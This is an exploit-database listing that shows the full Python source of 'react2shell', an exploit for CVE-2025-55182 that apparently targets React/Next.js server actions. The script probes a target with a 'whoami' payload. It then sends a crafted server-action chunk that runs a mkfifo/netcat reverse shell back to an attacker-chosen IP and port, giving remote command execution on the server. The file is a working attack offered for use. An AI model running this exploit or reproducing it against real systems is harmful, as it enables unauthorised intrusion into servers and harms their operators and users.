Exploit databaseDownload repository ZIP
GH-862104432a421d3d37154218575acd4d
i3r1h0n/react2shell
Sources for CVE-2025-55182
257 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files1
i3r1h0n/react2shellRevision a5aa8be59b1d
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/src/main.py
Python · 3,145 bytesimport os
import sys
import toml
import json
import logging
import requests
ASCII_ART = r"""
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
"""
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
handlers=[
logging.StreamHandler(sys.stdout)
]
)
logger = logging.getLogger(__name__)
def center_print(text):
lines = text.split('\n')
terminal_width = os.get_terminal_size().columns
for line in lines:
print(line.center(terminal_width))
def check(target: str, chunk_path: str):
with open(chunk_path, 'r') as json_file:
crafted_chunk = json.load(json_file)
crafted_chunk['_response']['_prefix'] = crafted_chunk['_response']['_prefix'].format(COMMAND="whoami")
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {
"Next-Action": "x"
}
try:
res = requests.post(target, files=files, headers=headers, timeout=10)
return True
except requests.Timeout:
return False
except requests.exceptions.RequestException as e:
logger.error(f"Target seem not to be vulnerable. A check error occurred: {e}")
return False
def exploit(target: str, chunk_path: str, ip: str, port: str):
with open(chunk_path, 'r') as json_file:
crafted_chunk = json.load(json_file)
command = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {ip} {port} >/tmp/f"
crafted_chunk['_response']['_prefix'] = crafted_chunk['_response']['_prefix'].format(COMMAND=command)
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {
"Next-Action": "x"
}
try:
res = requests.post(target, files=files, headers=headers, timeout=10)
logger.info(f"Target returned status code {res.status_code}")
except requests.Timeout:
logger.error("The request timed out.")
except requests.exceptions.RequestException as e:
logger.error(f"An error occurred: {e}")
def main():
center_print(ASCII_ART)
center_print("[CVE-2025-55182 exploit v0.0.1]\n")
logger.info("Exploit started")
with open("./resource/config.toml", 'r') as file:
config = toml.load(file)
if check(config["target"]["url"], config["chunk"]["path"]):
logger.info("Exploiting...")
exploit(
config["target"]["url"],
config["chunk"]["path"],
config["shell"]["ip"],
config["shell"]["port"]
)
else:
logger.error("Target falled with timeout. May be unexploitable")
if __name__ == '__main__':
main()